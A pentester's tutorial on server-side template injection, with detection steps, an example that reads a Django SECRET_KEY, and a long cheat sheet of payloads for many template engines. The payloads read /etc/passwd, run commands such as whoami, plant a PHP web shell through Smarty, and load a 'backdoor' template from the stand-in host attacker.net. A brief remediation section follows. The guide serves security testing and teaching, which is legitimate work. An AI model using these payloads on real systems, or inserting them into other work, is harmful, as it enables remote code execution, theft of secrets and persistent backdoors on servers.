A Pentester’s Guide to Server Side Template Injection (SSTI)

What is SSTI?

Server-side template injection is a vulnerability where the attacker injects malicious input into a template to execute commands on the server-side. This vulnerability occurs when invalid user input is embedded into the template engine which can generally lead to remote code execution (RCE).

Template engines are designed to combine templates with a data model to produce result documents which helps populating dynamic data into web pages. Template engines can be used to display information about users, products etc. Some of the most popular template engines can be listed as the followings:

• PHP–Smarty,Twigs
• JAVA–Velocity,Freemaker
• Python–JINJA,Mako,Tornado • JavaScript–Jade,Rage
• Ruby-Liquid

When input validation is not properly handled on the server side, a malicious server-side template injection payload can be executed on the server which can result in remote code execution.

How Does It Work?

For the sake of simplicity, imagine you’re testing the parameter of the following request:

POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter=value

To detect the vulnerability, use the polyglot payload as the value of the parameter which is a sequence of special characters such as the following:

POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter=${{<%[%'"}}%\.

To identify the template engine, read the error message:

If the error message is not displaying the template engine, we can test via known syntaxes for the popular template engines:

=${7*3}
={{7*3}}
=<%= 7*3 %>

Check out the documentation of the manual for the template engine (which is Django in this case) and use the following payload to read the debug output:

POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter={% debug %}

The output will contain a list of objects and properties to which you have access from within this template:

Read the secret key using the ‘settings’ object that’s available:

POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter={{settings.SECRET_KEY}}

What’s the Impact of SSTI?

The impact of server-side template injection vulnerabilities is generally critical, resulting in remote code execution by taking full control of the back-end server. Even without the code execution, the attacker may be able to read sensitive data on the server. There are also rare cases where an SSTI vulnerability is not critical, depending on the template engine.

How To Identify Vulnerability?

To identify SSTI vulnerabilities, use a Polyglot payload composed of special characters commonly used in template expressions to fuzz the template.

${{<%[%'"}}%\.

In case of a vulnerability, an error message can be returned or the exception can be raised by the server. This can be used to identify the vulnerability and the template engine in use.

To identify the vulnerability, the following to-do list can be followed:

• Detect where the template injection exist
• Identify the template engine and validate the vulnerability
• Follow the manuals for the specific template engine
• Exploit the vulnerability

The following cheat sheet can be used to identify the template engine in use:

Automated Tools

Tplmap assists in the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with several sandbox escape techniques to get access to the underlying operating system.

The tool and its test suite are developed to research the SSTI vulnerability class and to be used as offensive security tools during web application penetration tests.

For more information, please check the GitHub repository for the tool here.

Cheatsheet

--------------------------------------------------------------------Polyglot:
${{<%[%'"}}%\
--------------------------------------------------------------------FreeMarker (Java):
${7*7} = 49
<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }
--------------------------------------------------------------------
(Java):
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
${T(java.lang.System).getenv()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
--------------------------------------------------------------------
Twig (PHP):
{{7*7}}
{{7*'7'}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
--------------------------------------------------------------------
Smarty (PHP):
{$smarty.version}
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
--------------------------------------------------------------------Handlebars (NodeJS):
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
--------------------------------------------------------------------Velocity:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
-------------------------------------------------------------------
ERB (Ruby):
<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
--------------------------------------------------------------------
Django Tricks (Python):
{% debug %}
{{settings.SECRET_KEY}}
--------------------------------------------------------------------
Tornado (Python):
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}
--------------------------------------------------------------------
Mojolicious (Perl):
<%= perl code %>
<% perl code %>
--------------------------------------------------------------------Flask/Jinja2: Identify:
{{ '7'*7 }}
{{ [].class.base.subclasses() }} # get all classes
{{''.class.mro()[1].subclasses()}}
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
--------------------------------------------------------------------Flask/Jinja2: 
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
--------------------------------------------------------------------
Jade:
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
--------------------------------------------------------------------
Razor (.Net):
@(1+2)
@{// C# code}
--------------------------------------------------------------------

For more payloads, please refer to here.

Remediation

Remediations for the SSTI vulnerability depend on the different template engines in use. There are 2 common suggestions to remediate this vulnerability:

• Sanitization: Sanitize user input before passing it into the templates to minimize vulnerabilities from any malicious.
• Sandboxing: In case using risky characters is a business need, it is recommended to use a sandbox within a safe environment.

If you’re looking for a more detailed walk through on how to exploit Server Side Template Injection (SSTI) check out my latest video: